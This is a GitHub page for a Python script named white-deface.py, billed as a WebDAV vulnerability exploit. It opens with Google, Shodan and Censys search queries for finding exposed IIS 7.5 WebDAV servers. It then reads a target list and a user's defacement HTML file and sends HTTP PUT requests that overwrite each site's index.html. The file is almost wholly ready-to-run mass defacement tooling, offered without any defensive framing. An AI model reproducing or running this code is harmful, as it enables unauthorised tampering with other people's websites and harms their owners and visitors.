-
Notifications
You must be signed in to change notification settings - Fork 44
/
white-deface.py
107 lines (104 loc) · 3.84 KB
/
white-deface.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#-*- coding: utf-8 -*-
# Google dork possible: intitle:"Index of" intext:"webdav"
#shodan: port:80,443 401 Authorization required "Server: Microsoft-IIS/7.5" "WWW-Authenticate: Basic realm=\"*\""
#censys: 443.https.get.headers.server.raw:"Microsoft-IIS/7.5" and 200.http.get.headers.www_authenticate.q:"Basic realm=\"*\""
try:
import os
import sys
import time
import random
import os.path
import requests
import threading
except ImportError:
exit("install requests and try again ...(pip install requests")
os.system("git pull")
os.system("clear")
red = "\033[31m"
blue = "\033[34m"
bold = "\033[1m"
reset = "\033[0m"
green = "\033[32m"
yellow = "\033[33m"
colors = [
"\033[38;5;226m",
"\033[38;5;227m",
"\033[38;5;229m",
"\033[38;5;230m",
"\033[38;5;190m",
"\033[38;5;191m",
"\033[38;5;220m",
"\033[38;5;221m",
"\033[38;5;142m",
"\033[38;5;214m",
]
color1, color2, color3, color4, color5 = random.sample(colors, 5)
banner = f"""
/////////////////////////////////////////////////////////////////
//__ ___ _ _ ____ __ //
//\ \ / / |__ (_) |_ ___ | _ \ ___ / _| __ _ ___ ___ //
// \ \ /\ / /| '_ \| | __/ _ \ | | | |/ _ \ |_ / _` |/ __/ _ \ //
// \ V V / | | | | | || __/ | |_| | __/ _| (_| | (_| __/ //
// \_/\_/ |_| |_|_|\__\___| |____/ \___|_| \__,_|\___\___| //
// Instagram: @whxitte Webdav vulnerability exploit //
/////////////////////////////////////////////////////////////////
"""+reset+blue
def animate():
text = "Uploading your script to websites..."
while True:
for i in range(len(text)):
print(text[:i] + "_" + text[i+1:], end="\r")
time.sleep(0.1)
def eagle(tetew):
ipt = ''
if sys.version_info.major > 2:
ipt = input(tetew)
else:
ipt = raw_input(tetew)
return str(ipt)
def white(script, target_file="targets.txt"):
op = open(script, "r").read()
with open(target_file, "r") as target:
target = target.readlines()
s = requests.Session()
print(" ")
print(green+bold+"[✓]\033[0m \033[34mUploading your script to %d website...." % (len(target)), end="", flush=True)
print(" ")
# start the animation thread
t = threading.Thread(target=animate)
t.daemon = True # allow the thread to be killed when the main program ends
t.start()
for web in target:
try:
site = web.strip()
if site.startswith("http://") is False:
site = "http://" + site
req = s.put(site + "/index.html", data=op)
if req.status_code < 200 or req.status_code >= 250:
print(red + "[" + bold + " FAILED TO UPLOAD !\033[0m " + red + " ] %s/%s" % (site, script))
else:
print(green + "[" + bold + " SUCCESSFULLY UPLOADED ✓\033[0m" + green + " ] %s/%s" % (site, script))
except requests.exceptions.RequestException:
continue
except KeyboardInterrupt:
print;
exit()
def main(__bn__):
print(__bn__)
while True:
try:
print(green+'[Please put the deface script/html file in this same folder and type it\'s name below]'+reset+blue)
print(' ')
a = eagle(green+"[+]\033[0m \033[34mEnter your deface script's name \033[33m[eg: defacescript.html]\033[0m \033[34m> ")
if not os.path.isfile(a):
print(' ')
print(red+bold+" file '%s' not found in this folder !"%(a))
print(" ")
continue
else:
break
except KeyboardInterrupt:
print; exit()
white(a)
if __name__ == "__main__":
main(banner)